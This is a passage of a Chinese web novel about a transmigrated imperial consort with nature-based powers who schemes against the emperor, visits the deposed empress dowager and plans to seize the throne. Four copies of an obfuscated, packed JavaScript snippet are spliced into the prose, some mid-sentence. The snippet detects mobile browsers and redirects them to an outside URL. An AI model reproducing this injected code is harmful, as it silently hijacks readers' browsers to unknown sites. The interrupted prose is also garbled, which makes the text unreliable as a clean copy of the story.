李淳开门见山:“空明禅师,哦,不对,或许我应该叫你‘阿买提’王子?” 空明蓦地抬起了那双碧绿色的眼眸,直直盯着他。 李淳微微一笑,“阿买提王子不用紧张,今日我前来,并非是为揭穿你的身份,而是来帮你的。我可以出兵帮你夺回你失去的一切,王位、权势、美人……” 空明垂眸,双手合十:“阿弥陀佛,贫僧已遁入空门,凡尘种种皆为过眼云烟,施主既然不是来与贫僧坐禅论道的,那便请离开吧。” 李淳:“禅师何必急着拒绝?权势王位你可以不在乎,那么生你养你的母后呢?你也全然不在乎吗? “据我所知,你母后助你出逃之后,便落入了你叔父手中,成了他的禁脔,堂堂王后,却被乱臣贼子禁锢于幽室之中,不见天日,还要忍受欺辱和折磨,身为人子,你当真能够无动于衷?安心做你的禅师?” 空明垂下的长睫颤了颤。 沉默良久,他终是开口:“你要我做什么?” 李淳勾唇一笑,知道自己的目的达成了,“我要你进宫为太后说禅讲经,获得她的信任,等时候到了,我再告诉你下一步该怎么做。” 空明:“事成之后,施主若杀人灭口,贫僧岂不是空忙一场?贫僧需要一个凭证。” 李淳将手上的黄玉扳指摘了下来,搁在小几上,“此物可行?” 空明拿起扳指,看见上面独属于皇帝的龙纹,微一颔首。 * 未央宫,书房旁边的工作室。 姜念虞跟着丽嫔学做易容-面具。 丽嫔跟她八卦:“前几日太后出宫礼佛,你知道吧?” 姜念虞:“知道啊,怎么了?” 丽嫔:“太后从寺里带回来一个年轻俊俏的和尚,这几天日日都召那和尚讲经呢,宫里不少人都在私下里传,那和尚名为禅师,实则已成了太后的入幕之宾。” 姜念虞:“真的假的?” 丽嫔将熬制好的药膏倒入模具中,“这我哪儿知道呢,你跟太后娘娘关系不是很好嘛?要不你去打听一下?” 姜念虞在她腰上拧了一下:“这种事我怎么好去打听?对了,那和尚叫什么?” 丽嫔:“好像是叫空明。” 姜念虞:“空明?!” 这些天她正琢磨着如何跟空明接触呢,没想到他居然被太后带进宫来了,这下子她不就能“近水楼台先得月”吗? 翌日姜念虞去了慈宁宫,见到了空明。 他穿一身白色的缁衣,俊美如皎月,看起来颇有一股子圣僧的范儿。 姜念虞格外注意了下太后看他的眼神,那是欣赏和赞叹,并没有什么男女之间的暧昧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612588|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太后:“虞丫头,来,跟我一块儿听空明禅师讲经,多听听佛法,对你有好处。” 姜念虞便坐下来,和太后一块儿听禅。 空明:“佛曰:众生平等……狂心若歇,歇即菩提……一切有为法,如梦幻泡影……” 姜念虞:听不懂,想打瞌睡。 偷偷瞄了眼太后,太后她老人家听得专注且虔诚,时而露出若有所思的神情,显然是悟到了。 而她想的是,早上的清酱肉真好吃啊,就粥好吃,夹饼也好吃。 不知道中午慈宁宫的膳房会做什么好吃的? 太后应该会留她用饭吧? 话说回来,她要怎么顺理成章地与空明接触呢? 是夜,空明在房中打坐修禅。 忽然听见了一阵细微的沙沙声,似乎有什么东西与地面摩擦产生的。 他睁开眼睛,碧绿的眼眸在烛火的映照下,晶莹生辉。 他看见,数条翠绿的手指粗的藤蔓像蛇一样潜入了他的房间,在地板上快速蜿蜒前行。 眨眼的功夫就来到了床前,朝着他缠绕过来。 空明从床上弹跳而起,袖中滑出一柄软剑,朝那些诡异的藤蔓劈砍过去。 然而他没注意到的屋顶上,一根藤蔓悄无声息地爬了过来,来到了他的头顶正上方。 空明若有所觉,抬头一看,瞳孔便不由得一缩。 想要躲避,却已然来不及了,头顶的藤蔓以迅雷不及掩耳之势窜了下来,缠住了他的脖子,令他感到窒息。 紧接着那些原本被他劈退的藤蔓,也攀了上来,彼此交织缠绕着将他结结实实捆了起来。 除了鼻子,他身上其它地方都被覆盖住了。 这让他看起来像一个绿色的大茧。 一阵妖风吹过,桌子上的蜡烛被吹灭了。 一道身影推开门,堂而皇之地走了进来,随后又关上了房门。 没了蜡烛照明,屋内陷入了一片黑暗。 待眼睛适应了屋内的昏暗后,空明恢复了些微视力,从那人的身姿轮廓来看,他发现她是一个女子。 这女子是谁? 为何能操控藤蔓? 这人自然就是姜念虞了。 她想不到可以光明正大接触空明的办法,索性就偷偷摸摸地来了。 以她现在的实力,要制服一个空明还不是轻轻松松? 这不,她很容易就神不知鬼不觉地闯进他的屋子里来了。 “呜呜……” 空明想问她是谁,但嘴被藤蔓勒着,只能发出一些模糊的音节。 姜念虞嫌他有点吵,拿出一张浸泡了迷药的帕子,往他鼻子上一捂。 没一会儿空明就晕过去了,发不出一点动静了。 姜念虞直接将手放到他光秃秃的脑袋上。 她想这么做很久了,手感果然很不错,光滑中带一点磨砂的质感,她忍不住一摸再摸。 随着接触,她的异能蹭蹭上涨,顺利突破到了八阶。 翌日清晨,空明醒来,蓦地坐起身来,看了看四周。 没有蛇一样的藤蔓,也没有神秘女子。 昨晚上的遭遇,就像做梦一样。 但身上隐隐传来的疼痛,以及衣服下被勒出来的淤痕,都在告诉他,昨晚上发生的一切并不是梦,而是真的。 63. 第63章 姜念虞估摸着林鹤已经带人追上了被流放的姜赦夫妻俩,遂写了封信,想让小红将信送出去。 然而找了一圈都没找见这货,不知道又浪到哪儿去了。 每天也只有到了饭点它才会准时出现。 这小胖鸟每天都缠着要“吃”异能,吃异能还不算,还要吃下去大量食物。 它最爱的是用异能催生出来的凤枣和珍珠豆,其次是其它用异能浇灌长大的蔬菜。 对于肉类它都很嫌弃。 唯独钟情于那三头吃瓜果蔬菜长大的猪。 每天都要去猪圈里巡视一圈,看它们长大了没有。 像是等着吃它们的肉一样。 三头大黑猪被它盯得瑟瑟发抖,胃口都没有以前那么好了。 姜念虞只好严令小红,不许它再往猪圈那边跑。 总而言之,每天吃好喝好无忧无虑的小红,体型眼见着又大了好几圈。 不过敦实的体型并不影响它的速度。 即便她的轻功进步飞速,也已经抓不住它了,常常只能吃它的“尾气”。 到了饭点,小红果然回来了,一身绚丽的火红色羽毛在阳光下流光溢彩,分外拉风。 姜念虞比之往常格外多投喂了些食物给它,哄着它给自己送信。 小红蹲在高高的架子上,慢条斯理地给自己梳理着毛发,看上去优雅尊贵极了。 姜念虞都怀疑它下一秒会口吐人言了。 “宝,你还记得林鹤吧?帮我把信送给他,回来给你喂好吃的。” 小红朝她伸出了两根爪子。 姜念虞理解了一下,“你是要我喂你双倍的异能?” 小红:“叽~” 姜念虞:这鸟成精了吧! 它该不会真的是传说中的神鸟朱雀? 看了看它圆鼓鼓的肚子,她打消了这个念头,神鸟怎么可能把自己吃得这么胖?一点都没有神格。 肯定是因为她每日不间断的异能投喂,将它改造成了异兽,它才变得这么聪明。 “好,双倍就双倍,快去吧。” 小红却没动,一双圆溜溜的大眼睛水灵灵地瞅着她。 这是想拿了好处再行动呢。 姜念虞都要气笑了,但是自己亲手喂出来的崽,她能怎么办呢? 干脆给它喂了异能。 “这下行了吧?快去吧。”她将塞了信卷的细管绑在它腿上,拍了拍它的屁股。 这小胖鸟,屁股手感真好。 小红一展翅膀,似一道绚烂的流光眨眼就消失在了她眼前。 不到一天的功夫,小红就回来了,带回了林鹤的信。 他在信上说刺杀行动失败,姜赦夫妻性命无碍,他已经成功假死脱身,他带去的那些人里,只有一个还活着。 这会儿正往京城赶,去给李淳报信。 而他则先一步去了肃州碎叶城,也就是姜赦夫妻被发配的地方,打算探探那里的情况。 得知姜赦夫妻性命无碍,姜念虞放了心,又给林鹤回了封信,先给他说了下丽嫔的情况,而后介绍了下凤枣和珍珠豆的种植方法。 随信一起去的还有一小包凤枣和珍珠豆的种子。 她想让林鹤尝试在碎叶城种植这两种作物。 碎叶城是位于大齐西部边境的一座小城,城外就是茫茫的戈壁滩和一望无际的沙漠,气候干燥少雨,常年缺水。 在那里喝水都困难。 而凤枣可以当主食吃,珍珠豆可以补水。 若是凤枣和珍珠豆能够在那里存活的话,那姜赦夫妻起码有吃有喝了。 这两样种子她都注入了异能,生命力变得更加强大,希望它们能在那里生根发芽吧。 * 晚上,姜念虞和晟儿一块儿躺在床上,给他讲故事哄睡。 等他睡着后,她又陪他躺了一会儿,亲了亲他的小脸蛋,这才离开。 一出来,石永竹面色凝重地过来禀报:“娘娘,皇上的玉玺不见了,皇上已经下令封锁了皇城,命禁军四处搜寻,这会儿禁军就在宫门外。” 玉玺不见了? 姜念虞第一反应是,李淳又要搞什么幺蛾子? 他不会是要栽赃她偷了玉玺吧? 她赶紧找到玄猫,让它在宫里四处寻找一番,看玉玺是不是被藏在哪个角落里了。 “如果你真的找到了玉玺,就把它叼起来,丢进水池里。” 玄猫“啊呜”一声,表示知道了。 “让他们进来吧。”姜念虞出来对石永竹道。 原本睡着的晟儿,被禁军搜查的动静吵醒了。 姜念虞将他揽入怀里安慰,冷眼看着窗外。 禁军在宫中穿进穿出,但并未找到玉玺,于是撤离了,继续去别的地方搜查。 不多时,一个消息传来—— 禁军在慈宁宫搜查玉玺时,从太后的枕头底下找出了一只巫蛊娃娃!娃娃背上绣了皇帝李淳的生辰八字,身上插满了银针。 这分明是在诅咒皇帝去死。 巫蛊之术向来是皇室的禁忌。 李淳得知此事后,震怒万分,当即将太后移送至宗人府。 对此,姜念虞:感情这次的玉玺失踪事件,不是冲着她来的,而是冲着太后去的。 太后想毒杀李淳,结果下毒计划还没成功,就被李淳先一步陷害了。 她很好奇,谁能瞒过太后的耳目,将巫蛊娃娃这种致命的东西放在她的枕头底下? 那个人,必然是极得太后信重的。 没几天,宗人府就查清了事情“真相”——巫蛊娃娃乃是由太后亲手所制,她在暗地里已经诅咒李淳多年了。 李淳下令废除太后的太后之位,将她幽禁于宗人府,终身不得踏出一步。 这场皇帝与太后的争斗,就以这样一种荒唐又诡谲的方式落幕了。 姜念虞心里升起了一股危机感,斗倒了太后,李淳下一步是不是就要对付她了? 屋漏偏逢连夜雨。 李玄璋给她传信,河阴县发了瘟疫,上级主官——仙台郡郡守下令封锁河阴县,以及出入县城的各处要道。 霎时间,整座河阴县成了一座孤岛,城中的百姓出不去,只能等死。 而城外的百姓,也无法离开。 然而这么大的事,朝廷却没有收到丝毫消息。 不知是有人故意隐瞒了下来,还是消息还在路上,还没来得及抵达京城。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627554|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 姜念虞并不记得小说里写过河阴县爆发了瘟疫。 可能写过但她当时看的时候不在意,所以没什么印象。 也有可能,这是李玄璋这个大反派出嫁带来的蝴蝶效应。 现在再追究这些已经没有意义了。 重点是,如何救下李玄璋,救下那一城的百姓。 诚然李玄璋武功高强,河阴县的城墙根本挡不住他,他若要离开,很轻易就能做到。 但若是他逃出去后,将瘟疫带到了外面,传染了更多的百姓呢? 到那时后果将不堪设想。 所以他并未选择逃离,而是留下来,尽力稳住局面,救治百姓。 当然,这些他并未写在信里,他只是将这件事告诉了她。 姜念虞可不指望李淳会让朝廷赈灾,她很怀疑,这件事没准就是他干的。 为了彻底弄死李玄璋。 但李玄璋可不能死,起码现在不能死。 他死了,那局面就会彻底倒向李淳那一边了。 到时候自己这个炮灰女配,没准就要被一个雷劈死了。 姜念虞当即找到赤心,“先前我治好了你,让你帮我做一件事,现在我希望你能够前往河阴县,救助城中的百姓。 “若是你能够以神农谷少主的身份调动神农谷的力量,尽力给城中百姓供药供粮,那就更好了。 “当然,若是你不愿意,我也不会勉强你。” 赤心:“我也收到了消息,即便师姐不提出来,我也会主动前往的。” 神农谷的宗旨,本就是济世救人。 更何况,他的病已经被她彻底治好了,他感受到了前所未有的轻松和自在,更想为那些处于水深火热的百姓做些什么。 姜念虞:“冷宫地下密室里的那批药材,你也一块儿带走吧,之后我也会尽量运送物资过去。” 姜家虽然被抄了,但她作为出嫁女,嫁妆还是属于自己的。 那些铺子田产,每日都能为她带来大量收益。 苏、黄两位嬷嬷去了庄子上后,用她给的那些种子,种出来了大量蔬果粮食。 如今那些粮食能派上用场了。 赤心向李淳告辞,自请前往河阴县救助百姓。 李淳一脸惊讶的样子,“河阴县竟爆发了瘟疫?朕怎么没有收到消息?那些大臣都是干什么吃的!” 发了一通火,李淳对赤心要前往河阴县的行为大加赞赏,“赤心大夫深明大义,医者仁心,实在令朕感佩,然赈灾乃是朝廷的责任,朕如何能让你只身前往险境呢?” 赤心:“皇上谬赞了,草民身为大夫,本就该以治病救人为己任,既已知道了河阴县爆发瘟疫一事,又怎么能袖手旁观?还请皇上恩准。” 他话都已经说到这个份儿上了,李淳若是还反对,就显得不对劲了。 “好,朕准了,不过朕不能让你孤身前往,还请你再等上几日,待朕安排好了赈灾事宜,到时你再与赈灾的太医和军队一同前往,如何?” 赤心:“草民遵旨。” 赈灾队伍出发的这一天,李淳亲自送一行人离开,临行前还说了许多勉力之语,“诸位千万要保重,朕在京中等着你们平安归来。” 64. 第64章 宗人府,一座偏僻小院里。 已经被褫夺了太后尊荣的杨掣云荆钗布衣,坐在水井边,洗刷着马桶。 一个太监用帕子捂着口鼻进来,呵斥道:“杨婆子,你赶紧的,这儿还有好多马桶等着刷呢,你磨磨唧唧的得刷到啥时候去?我告诉你,今天要是没刷完,晚上没饭吃!” 杨掣云动作僵硬了一瞬,紧接着加快速度刷了起来。 她知道这些阉货是受了李淳那个贱种的指使,故意来羞辱磋磨自己。 一开始她是无比愤怒的,就算她被褫夺了太后封号,那也是先帝的发妻!李淳那贱种竟敢让她刷马桶? 他怎么敢如此羞辱自己! 然而她不刷,那些阉货就不给她饭吃。 活到这把年纪,养尊处优了大半辈子,她头一次知道,饿肚子是那么难受的事。 饿极了时,她看着自己身上的肉都犯馋。 若是没有泓儿,她大不了一死了之,绝不活着遭受这等耻辱。 可她还有泓儿,她的泓儿已经好了,只要将李淳弄死,她的泓儿就是李氏皇族唯一的男丁,到时那些大臣会求着她的泓儿登基。 等泓儿当上了皇帝,必然会把她救出去,重新尊奉她为太后。 靠着这个念想,杨掣云说服了自己,刷起了马桶,干起了以往她最鄙夷的脏活儿。 到了晚上,刷了一天马桶的杨掣云腰酸背痛,浑身更是脏臭难闻,她自己都嫌弃不已。 然而付出了这么多,却只得到了半个仿佛是在潲水里泡过的馒头。 “吃吧,吃完了晚上继续干活儿,可别想偷懒。” 监督她的太监尖酸刻薄道。 杨掣云恨不能将那半个馒头砸到他脸上去。 这个该死的阉货,等她出去了,定要将他千刀万剐! 杨掣云理智上嫌恶着那个馒头,但动作上已经迫不及待将它送到嘴边了。 就在她要咬下去时,不远处传来“砰”的一声,那个阉货倒在了地上。 一个黑衣人从墙头一跃而下,落在了她面前,摘下面罩,露出来了一张水灵灵俏生生的脸来。 “太后娘娘。” 来人正是姜念虞。 看到她,杨掣云手里的馒头掉在了地上,鼻子一酸,像是被人打了一拳。 “虞丫头,你怎么来了?” 姜念虞:“我来看看您。” 到了屋子里,她将背上的双肩包放下来,将里面的东西一样样往外拿。 竹筒粥、鸡蛋饼、鲜肉饺子……还有一些易于保存的食物,以及一些生活物品。 若是从前,这些东西哪里入得了杨掣云的眼? 然而现在,看着这些东西,她忍不住哽咽了。 “还热乎着,您快吃吧,吃完了我们再说话。” 杨掣云点点头,伸手就想拿饼吃,看见自己脏污的指甲,忽觉一阵难堪,“虞丫头,你坐,我进去收拾一下,身上太埋汰了。” 匆匆进了屋。 等再出来时,她虽然还是一身朴素,但头发已经梳得光溜,衣裳变得齐整,手也洗得干干净净了。 姜念虞注意到,太后的头发白了好些,比之先前老了十几岁。 太后吃上了被关进宗人府以来的第一顿“大餐”。 边吃边忍不住流泪。 她自嘲道:“虞丫头,你一来,倒把我的眼泪都招出来了。” 先前她心里存着一口气,所以再苦再累也都咬着牙没掉过一滴眼泪。 再怎么样,她也是先帝的发妻,是名门世族杨家的女儿,是曾经母仪天下的女人。 如今一朝沦落到这等难堪境地,她若是哭了,岂不是叫李淳那贱种看笑话?叫那些低贱的阉货看笑话? 她绝不容许这种事发生。 但是现在,只是看到虞丫头,吃着她带来的食物,她的泪水就怎么也忍不住了。 姜念虞也没有劝她,只是默默地给她递帕子。 哭并不是一件坏事,哭出来反而是好事,可以将心里积压的情绪一同宣泄出来。 吃完了,哭完了,杨掣云获得了一种奇异的平静,似乎悟到了先前空明说的那一句“狂心若歇,歇即菩提”的意境。 姜念虞将这些时日外面发生的事跟她讲了一遍。 末了气愤道:“我暗中查到,先前诬陷我爹通敌卖国的人,竟然就是皇上!” 杨掣云一直静静听着,最后才发表看法:“李淳此人,歹毒阴狭,小人做派,为达目的不择手段,实不堪为君。 “他诬陷姜相通敌卖国,我是一点也不意外的,仅此一招,他不仅将姜相拉下了马,还趁机处置了我杨家,将我大哥手中的兵权收了回去,只是可怜了边境的那些将士和百姓,白白沦为了李淳阴谋诡计下枉死的冤魂。” 姜念虞:“太后——” 杨掣云:“如今我已不是太后了,虞丫头,你就唤我一声杨姨吧。” 姜念虞从善如流:“杨姨。” 杨掣云:“唉,好孩子,说起来我实在对不住你,先前竟还想让你给李淳下毒,差一点就连累了你,如今我落得这步田地,你还能冒险来看我,可见你心性至纯至善。” 姜念虞都被她夸得有些不好意思了,其实她这一趟过来,也是带着目的的。 “您可知道,是谁将巫蛊娃娃放在了您枕头底下,害得您沦落至此?” 她怕下一步李淳也用这一招来对付她,所以起码得知道那人是谁。 杨掣云:“能进入我寝殿往我枕头底下放东西的,除了跟随我多年的黄鹂,也就只有空明禅师了,她二人现在如何了?” 姜念虞:“黄鹂姐姐被发配到了轮回司,空明禅师倒是没事,还时不时被皇上召去讲经——” 说到这里她忽然反应过来,“难道陷害您的人是空明?” 杨掣云讽笑道:“若非是他,李淳又岂能让他还好好的?他怕是早就落得和黄鹂一样的下场了,还能去给李淳讲经?呵。” 姜念虞临走前,杨掣云交给了她一封信:“虞丫头,方便的话,帮我把这封信交给顺王。” 姜念虞同意了,从宗人府离开后,就去了顺王府。 如梁上君子般潜入了顺王的房间。 大黑蛇率先发现了她,朝她这边吐了吐蛇信子,接收到熟悉的气味后,便像条大狗狗似的朝她兴奋地窜过来。 姜念虞拍了拍它的脑袋, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643934|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给它喂了点异能。 黑暗中,床榻上的顺王幽幽睁开了眼睛,“谁?” 姜念虞拿出一颗先前从皇宫宝库里顺来的夜明珠,“是我。” 顺王坐起身,“余大夫?”惊讶之余还有些不可遏制的欣喜。 姜念虞将信递过去,“太后娘娘让我把这封信交给你。” 顺王接过信来,一面拆信一面问:“你见到我母后了?她怎么样?” 姜念虞也没有隐瞒他,将自己看到的情形如实说了出来。 顺王愤怒地捶床,“李淳竟敢如此欺辱我母后!再怎么样母后也是他的嫡母!” 闭了闭眼,他将怒火按捺下去,看起了信。 姜念虞问:“太后娘娘在信上写了什么?” 她也就是这么一问,如果顺王不说,她也不会追根究底,谁知他竟直接将信递了过来。 她接过来一看,太后在信中说:“泓儿,我本想毒杀了李淳,让大臣们拥护你登上皇位,谁料我一着不慎,轻信了空明这贼秃,被他害得幽禁于宗人府,你定不能放过空明,要为我报仇雪恨。 “……对付完我,李淳下一个要对付的,很可能就是你了,即便他不知道你的腿已经治好了,也不会容许你活在这世上,你千万要小心。除了余岁大夫,其余的人你都不能轻信。” 姜念虞没想到自己雪中送炭的一个举动,直接把太后的信任值刷满了,居然说出让顺王只相信她一个人的话来。 不过这样一来,倒是更方便她找顺王帮忙了。 “顺王殿下,我想请你帮个忙。” 顺王:“你尽管说。” 姜念虞:“我想让你帮我留意一下京中长相俊美的年轻郎君。” 不知为何,听到“长相俊美的年轻郎君”这几个字从她嘴里冒出来,顺王心下便有些不快,嘴一秃噜,冒出来一句:“什么样的才叫俊美?我这样的算吗?” 姜念虞:“当然算,也只有顺王殿下这般容貌的男子,才称得上俊美,我要您找的,正是容貌和您不相上下的男子。” 不然如何能令她的异能源种“亮灯”呢? 和空明接触升级到八阶后,她忽然发现自己的下一个异能血包还没有着落。 她本以为找一找总能碰到的,于是经常趁夜偷溜出宫,到青楼酒楼等地物色目标。 哪知找了数日,一个异能血包也没碰上。 先前接连碰上大帅哥的经历,让她产生了一种错觉,好像李玄璋、裴少清这种级别的帅哥很容易就能碰到。 但实际上,只是因为她的身份和地位占了优势,让她一开始就落到了更容易接触到美男子的富贵窝权贵堆里。 若是她的新手地图是某个山旮旯,这会儿异能恐怕还没升到一阶。 而真正美貌之人本来就是极少数,先前遇到的八个美男子,估计已经是她的生活圈所能接触到的极限了。 所以她得找人帮忙,将搜索圈扩大。 顺王先前虽然残了那么多年,但好歹是个王爷,暗中势力绝对不小,在宫外找人肯定比她方便。 被她直白地夸赞了一番,顺王的嘴角不受控制地翘了翘,以拳抵唇咳了咳:“好,这个忙我帮了。” 65. 第65章 翌日白天,姜念虞又去了神农谷旗下的三才药堂。 向药堂的掌柜出示了剑令,让掌柜的留意美男子。 接着,又去了啸剑山庄旗下的威远镖局,出示了林鹤留给她的少主凭证,让镖局的人留意美男子。 韩观那里她也没落下。 如今京中兴起了一座有名的销金窟——醉君楼,韩观便是这里的管事,替李淳这个皇帝搂钱,以及打探消息,搜集情报。 然而李淳不知道的是,韩观真正效忠的并不是他,而是她。 李淳能够挖李玄璋的墙角,她当然也能挖李淳的墙角,正所谓“挖人墙角者人恒挖之”。 李玄璋的人从西域回来了,带回来了能够解毒的琅珠花,拿到琅珠花后,她便给韩观的祖父宁远侯解了毒。 在治病+解毒的双重恩情下,韩观理所当然地投入了她的阵营。 当然,他明面上还是向李淳效忠。 到了醉君楼,姜念虞将寻找俊美男人的任务交给了韩观。 顺王、神农谷、啸剑山庄、醉君楼,这四方势力一同出动,偌大一个京城,总不至于找不出一个极品美男子吧? 结果……还真就没找到! 一开始收到消息,说是找到了,她还很高兴,兴冲冲地赶过去,到了一看,她却不由得大失所望。 这算什么美男子?跟李玄璋、裴少清他们差远了好吗? 其实那些人长得也不差,只不过跟极品终究还是有一点距离,达不到让她的异能源种“亮灯”的程度。 难道,她的异能要从此止步于八阶了吗? 补药啊! 她还等着异能升到九阶后,获得异能空间,带上姜爸姜妈还有晟儿周游天下呢。 琢磨了一番,她觉得可能是范围不够,应该把找人的范围扩大到全天下。 当基数足够的时候,找出一个极品美男应该就变得简单了吧? 但是她怎么才能让全天下的美男子都主动送上门来,给她挑选呢? 姜念虞很自然地想到了选秀。 但她不是皇帝,没有举行选秀的资格。 等等,如果她成了皇帝,那岂不就有资格了? 在此之前,她从来没想过自己当皇帝,她想的一直是和李玄璋合作,把李淳给干掉。 然后,李玄璋可以如愿报仇当皇帝,她则能够凭着和李玄璋的交情,光明正大地带着晟儿出宫,过逍遥日子去。 可惜事情的发展并没有如她所愿的进行下去,李淳这个主角属实有点难杀。 她的异能晋级又陷入了瓶颈。 看来,她得考虑一下走另一条路的可行性了。 如果她要当皇帝的话,得怎么搞? 参考武则天,封建时代的女人想当皇帝,可不是一件容易的事,甚至可以说是难于登天。 古往今来也就出了一个武则天而已。 不过她要比武则天幸运,因为这个世界只是一个小说衍生而来的世界,所谓的天道,也只是作者的意志而已,没有什么是不能打破的。 最重要的是,她拥有异能——一种高于这个世界维度的力量。 而绝对的力量,可以打破一切陈规陋习。 比如,她可以用异能将李淳制服,将他囚禁起来——她杀不了他,但难道还制不住他吗? 等将他囚禁起来后,她就易容成他的样子,假传圣旨,举办选秀,号召全大齐的适龄未婚美男子前来参加选秀。 她就不信,那么多秀男里,还选不出一个极品美男来? 想着这些,姜念虞晚上做了个美梦,梦见自己披上了龙袍,在庄严宏大的乐声中,一步步走向龙椅。 刚要坐下去,迎接众人的跪拜,就被一个超级无敌臭屁给崩醒了。 “姜小红!你要死啊!红烧还是清炖,你说!” 火红色的华丽大鸟贱兮兮地绕着她飞了一圈,落在了梁上,“嘎嘎~” 仿佛在嘲笑她。 姜念虞拳头硬了。 要不是顾忌着周围有人,她铁定要施展异能把它抓下来,拔掉它的毛! “德妃娘娘,皇上请您过去一趟。”保和殿来人道。 姜念虞正好吃完了早饭,她优雅地放下筷子,擦了擦嘴,“本宫知道了。” “德妃来了。”保和殿内,李淳冲踏进殿内的姜念虞招手,看起来心情很好的样子。 “皇上这是碰上什么喜事了?”姜念虞行过礼,问。 李淳:“前不久北周又率军来袭,你猜怎么着?” 姜念虞:“我军大胜?” 李淳:“哈哈哈不错,这是今早上刚送来的战报,这次我军不仅大败北周,还生擒了北周主将拓跋烈,俘获战马、牛羊无数。” 姜念虞:“恭喜皇上,这次我大齐算是一雪前耻了。” 李淳:“正是,德妃可知此次生擒拓跋烈的人是谁?” 姜念虞脑海里闪过了一个人名,然而话到嘴边却怎么都说不出来,她忽然发现,自己关于剧情的记忆竟然变得缥缈模糊起来。 原本深深烙印在脑子里的小说,如今再回忆,却变得像梦境一样。 她心下一慌,贼老天不会将她的记忆也给抹去了吧? 没事没事,一早她就将小说剧情用拼音写了下来,就是怕自己会忘记,等回去她再看看就能记起来了。 姜念虞按下心中的慌乱,“嫔妾如何能知道?” 李淳:“周景星,此人原先不过是一个小兵,凭着过人的勇武和智谋,一步步升为了六品昭武校尉,在此次战役中,于万军之中一箭射杀了拓跋烈的马,之后更是率兵生擒了拓跋烈,杀敌数百!” 周景星…… 姜念虞在心里默念了一遍这个名字,却依然想不起来和他有关的剧情。 李淳:“朕已经下令召周景星率军回京,他估计还有半个月就到了,朕欲举办一场庆功宴,为周景星接风洗尘,德妃,这件事就交给你了,到时候你可不要令朕失望。” 姜念虞:“嫔妾遵旨。” 回到自个宫里,姜念虞第一时间奔向书房,从上锁的抽屉里拿出了一本自制的册子,上面是用拼音记录的《龙凤呈祥》精简版。 然而打开册子,她不由得瞳孔一缩,册子上竟然一片空白,仿佛从未落下过字迹一样。 贼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659500|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老天!不仅抹去了她关于小说的记忆,连她自己记下来的剧情都给抹去了? 她感觉自己被一股来自四面八方的无形的恶意包裹住了。 那股恶意好像在说,你一个外来者,休想改变原本的剧情。 你所做的一切,不过都是徒劳而已,所有人都将走向既定的结局…… 手中的册子,被她攥得变了形。 正如她此刻的心境,被搅得乱七八糟。 姜念虞闭了闭眼,当“看”到识海里那颗安静而璀璨的异能源种时,她的心情渐渐平静了下来。 所有人都将走向既定的结局么? 她偏不。 * 周景星率军回朝的时间比李淳预估的要早,不到十天就抵达了京城。 翌日,文德殿的朝会上。 李淳对周景星大加赞赏,下旨擢升他为二品辅国大将军,加封镇北侯。 一时间,周景星风头无两,赫然成了朝中新贵。 下朝后,李淳便领着大臣们去了集英殿,为周景星接风洗尘。 姜念虞虽然是这场庆功宴的举办者,但并没有资格出席这种场合。 听说周景星生得十分俊朗,她想亲眼见见他,找机会接触一下,看他能否成为她的异能血包。 于是,她扮成了一个侍膳的小宫女,混了进去。 此刻,她站在一根柱子旁,这场庆功宴的主角——刚被封为镇北侯的周景星,就坐在她右前方的位置。 方才他入席时,她已经瞅过他好几眼了。 此人生得颇为高大,估计得有一米九,行走间,每一个动作都透着股收敛而克制的力量感,那股蓬勃的生命力十分具有感染力。 像一株沙漠里顽强生长的仙人掌,从一棵幼苗长到了擎天的高度,迎着烈日开出了灿烂的花朵。 至于他的容貌,即便是以最挑剔的眼光来看,也是没得说的。 妥了,接下来就是如何与他接触的问题了。 宴会开始,上菜的宫女们鱼贯而入,将一个个鸳鸯锅端了上来,放在客人的桌案上。 宴会是分餐制,每人都是单独的席位,独享一口汤锅。 接着呈上来的便是各色处理切洗好的菜肴。 如今天已冷了,姜念虞觉得吃火锅再好不过了,李淳既然让她来办这场宴会,那她当然是按照自己的想法来了。 